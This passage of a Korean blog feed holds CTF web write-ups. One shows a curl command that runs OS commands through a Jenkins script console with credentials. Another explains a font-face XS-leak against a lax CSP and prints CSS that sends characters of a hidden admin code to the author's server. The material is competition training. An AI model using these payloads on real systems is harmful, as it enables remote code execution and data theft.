&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;/script&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;에 우선 접근 후 &lt;span&gt;script run &lt;/span&gt;날렸을때 실제 날아가는 패킷 잡아서 변조했다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1631616641441&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl --data &quot;script=def+proc+%3D+%22ls -alR /%22.execute%28%29%0D%0Adef+b+%3D+new+StringBuffer%28%29%0D%0Aproc.consumeProcessErrorStream%28b%29%0D%0A%0D%0Aprintln+proc.text%0D%0Aprintln+b.toString%28%29&amp;amp;Jenkins-Crumb=3aa12ac3ad49ab60ee63b3fdf4d5ba4d4978eacfb5785753ff0fb6fa69a4ba3c&amp;amp;json=%7B%22script%22%3A+%22def+proc+%3D+%5C%22ls+-al+%2F%5C%22.execute%28%29%5Cndef+b+%3D+new+StringBuffer%28%29%5Cnproc.consumeProcessErrorStream%28b%29%5Cn%5Cnprintln+proc.text%5Cnprintln+b.toString%28%29%22%2C+%22%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%223aa12ac3ad49ab60ee63b3fdf4d5ba4d4978eacfb5785753ff0fb6fa69a4ba3c%22%7D&amp;amp;Submit=Run&quot; -X POST http://Whitehat-NowYouSeeMe:11d5eb71408ae9b0e4a6219ce9a4aa1767@3.37.166.114:9999/script -i &amp;gt; out.txt;cat out.txt|grep FLAG -B5 -A5&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;508&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9w96x/btre5cet2up/e9MGLXTYMqBO7BL28Eido1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9w96x/btre5cet2up/e9MGLXTYMqBO7BL28Eido1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9w96x/btre5cet2up/e9MGLXTYMqBO7BL28Eido1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9w96x%2Fbtre5cet2up%2Fe9MGLXTYMqBO7BL28Eido1%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;508&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;플래그 획득&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>CTF/writeup</category>
      <author>ar9ang3</author>
      <guid isPermaLink="true">https://ar9ang3.tistory.com/67</guid>
      <comments>https://ar9ang3.tistory.com/67#entry67comment</comments>
      <pubDate>Tue, 14 Sep 2021 19:51:45 +0900</pubDate>
    </item>
    <item>
      <title>2020 사이버 작전 경연대회 [웹] - Vaccine Paper; Write-up</title>
      <link>https://ar9ang3.tistory.com/66</link>
      <description>&lt;table style=&quot;border-collapse: collapse; width: 69.2432%;&quot; border=&quot;1&quot; width=&quot;1191&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 48.591%;&quot; colspan=&quot;2&quot; width=&quot;586&quot;&gt;
&lt;p&gt;&lt;span&gt;문 제&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 25.6844%;&quot; width=&quot;302&quot;&gt;
&lt;p&gt;&lt;span&gt;분 야&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 25.6844%;&quot; width=&quot;302&quot;&gt;
&lt;p&gt;&lt;span&gt;점 수&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 48.591%;&quot; colspan=&quot;2&quot; width=&quot;586&quot;&gt;
&lt;p&gt;&lt;span&gt;2.2 Vaccine Paper&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 25.6844%;&quot; width=&quot;302&quot;&gt;
&lt;p&gt;&lt;span&gt;WEB&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 25.6844%;&quot; width=&quot;302&quot;&gt;
&lt;p&gt;&lt;span&gt;?&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 99.9597%;&quot; colspan=&quot;4&quot; width=&quot;1191&quot;&gt;
&lt;p&gt;&lt;span&gt;적국의 내부 연구자료 공유 시스템에 접근하였다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;관리자 키를 이용하여 치료제 정보를 탈취하라&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;a href=&quot;http://3.35.121.198:40831/&quot;&gt;&lt;span&gt;http://3.35.121.198:40831&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.3156%;&quot; width=&quot;250&quot;&gt;
&lt;p&gt;&lt;span&gt;풀이 절차&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 75.6441%;&quot; colspan=&quot;3&quot; width=&quot;941&quot;&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span&gt;주석으로 숨겨진&lt;span&gt; vaccine.php &lt;/span&gt;확인&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;upload&lt;/span&gt;&lt;span&gt;시&lt;span&gt; &amp;lt;link&amp;gt; &lt;/span&gt;태그를 이용하여 내서버의&lt;span&gt; xs-leak &lt;/span&gt;스타일을 적용&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;paper.php&lt;/span&gt;&lt;span&gt;에 적용된&lt;span&gt; csp&lt;/span&gt;의&lt;span&gt; style-src&lt;/span&gt;와&lt;span&gt; font-src&lt;/span&gt;가&lt;span&gt; *&lt;/span&gt;임을 이용하여&lt;span&gt; font-face&lt;/span&gt;를 이용한&lt;span&gt; xs-leak &lt;/span&gt;공격&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;내 서버로 전송된 문자들을 정렬하여&lt;span&gt; vaccine.php&lt;/span&gt;에 전송&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.3156%;&quot; width=&quot;250&quot;&gt;
&lt;p&gt;&lt;span&gt;정 답&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 75.6441%;&quot; colspan=&quot;3&quot; width=&quot;941&quot;&gt;
&lt;p&gt;&lt;span&gt;flag{Y0u_5uCc3sfu11y_7R4CK_adM1n_4nd_G3t_Vaccine}&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 99.9597%;&quot; colspan=&quot;4&quot; width=&quot;1191&quot;&gt;
&lt;p&gt;&lt;span&gt;풀 이 과 정&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 99.9597%;&quot; colspan=&quot;4&quot; width=&quot;1191&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGty3U/btqIFyubs18/ukWpJDjANYIpkzttbPtnLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGty3U/btqIFyubs18/ukWpJDjANYIpkzttbPtnLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGty3U/btqIFyubs18/ukWpJDjANYIpkzttbPtnLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGty3U%2FbtqIFyubs18%2FukWpJDjANYIpkzttbPtnLk%2Fimg.png&quot; data-filename=&quot;image1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;회원가입하고 로그인하면 위와같은 화면이 뜬다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Upload Paper &lt;/span&gt;&lt;span&gt;메뉴에선 아무 제약없이&lt;span&gt; input&lt;/span&gt;을 업로드할 수 있고&lt;span&gt;, &lt;/span&gt;이를&lt;span&gt; MyPage&lt;/span&gt;에서 보이는 업로드된 게시글의 링크를 통해 들어가면 내가 넣은&lt;span&gt; input&lt;/span&gt;이 그대로 출력된다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Content-Security-Policy: default-src 'none'; script-src 'nonce-2053560439'; style-src *; font-src *; base-uri 'none';&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;하지만&lt;span&gt; csp&lt;/span&gt;가 걸려있어&lt;span&gt; script&lt;/span&gt;는&lt;span&gt; nonce&lt;/span&gt;를 맞춰야하고&lt;span&gt;, style&lt;/span&gt;과&lt;span&gt; font&lt;/span&gt;는 제약없이 사용이 가능하다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcaQ0s/btqINpv8adi/D7iYXn7wCeBzwnL1QrmVK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcaQ0s/btqINpv8adi/D7iYXn7wCeBzwnL1QrmVK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcaQ0s/btqINpv8adi/D7iYXn7wCeBzwnL1QrmVK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcaQ0s%2FbtqINpv8adi%2FD7iYXn7wCeBzwnL1QrmVK1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;내가 올린글은 약간의&lt;span&gt; pow&lt;/span&gt;를 맞추면 어드민에게 전송되서 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;headlesschrome/77.0.3835.0 &lt;/span&gt;&lt;span&gt;으로 내 글에 접속하는것을 알 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-filename=&quot;image3.png&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zRPIo/btqID7pNNbp/B1yVX8U31HX60jVGYFe5DK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zRPIo/btqID7pNNbp/B1yVX8U31HX60jVGYFe5DK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zRPIo/btqID7pNNbp/B1yVX8U31HX60jVGYFe5DK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzRPIo%2FbtqID7pNNbp%2FB1yVX8U31HX60jVGYFe5DK%2Fimg.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-filename=&quot;image3.png&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;처음엔&lt;span&gt; script nonce leak &lt;/span&gt;문제인줄 알고 삽질을 많이 했는데 알고보니 메인페이지 주석에&lt;span&gt; /vaccine.php&lt;/span&gt;가 있었다 ㅡㅡㅋㅋ&lt;span&gt;;;;;;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S0ytn/btqIAOEhQZA/3iWFoNvK4k0xfF7bbC2K30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S0ytn/btqIAOEhQZA/3iWFoNvK4k0xfF7bbC2K30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S0ytn/btqIAOEhQZA/3iWFoNvK4k0xfF7bbC2K30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS0ytn%2FbtqIAOEhQZA%2F3iWFoNvK4k0xfF7bbC2K30%2Fimg.png&quot; data-filename=&quot;image4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;vaccine.php&lt;/span&gt;&lt;span&gt;는 약간의&lt;span&gt; pow&lt;/span&gt;를 주면&lt;span&gt; tracking code&lt;/span&gt;를 검사하여&lt;span&gt; admin&lt;/span&gt;의 것이면&lt;span&gt; vaccine&lt;/span&gt;을 주는것이다&lt;span&gt;. &lt;/span&gt;이걸 몰라서 삽질을 좀 했는데&lt;span&gt;.. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image5.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ2GmZ/btqIz4HjiRv/rdmVgXH1kTykUskVlq6dCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ2GmZ/btqIz4HjiRv/rdmVgXH1kTykUskVlq6dCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ2GmZ/btqIz4HjiRv/rdmVgXH1kTykUskVlq6dCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ2GmZ%2FbtqIz4HjiRv%2FrdmVgXH1kTykUskVlq6dCk%2Fimg.png&quot; data-filename=&quot;image5.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;tracking code&lt;/span&gt;&lt;span&gt;는 이처럼 박혀있는데&lt;span&gt; css&lt;/span&gt;에 의해&lt;span&gt; display:none&lt;/span&gt;으로 숨겨져있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;하지만 우리는 마음대로&lt;span&gt; stylesheet&lt;/span&gt;를 불러올 수 있으며&lt;span&gt;, font &lt;/span&gt;외부요청이 자유롭게 가능하다&lt;span&gt;(style-src *; font-src *;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;따라서&lt;span&gt; font-face&lt;/span&gt;를 이용한&lt;span&gt; xs leak&lt;/span&gt;을 사용한다면 쉽게 풀이가 가능하다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;(reference : &lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;http://vulnerabledoma.in/poc_unicode-range2.html&quot;&gt;http://vulnerabledoma.in/poc_unicode-range2.html&lt;/a&gt;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:0');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0030;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:1');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0031;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:2');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0032;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
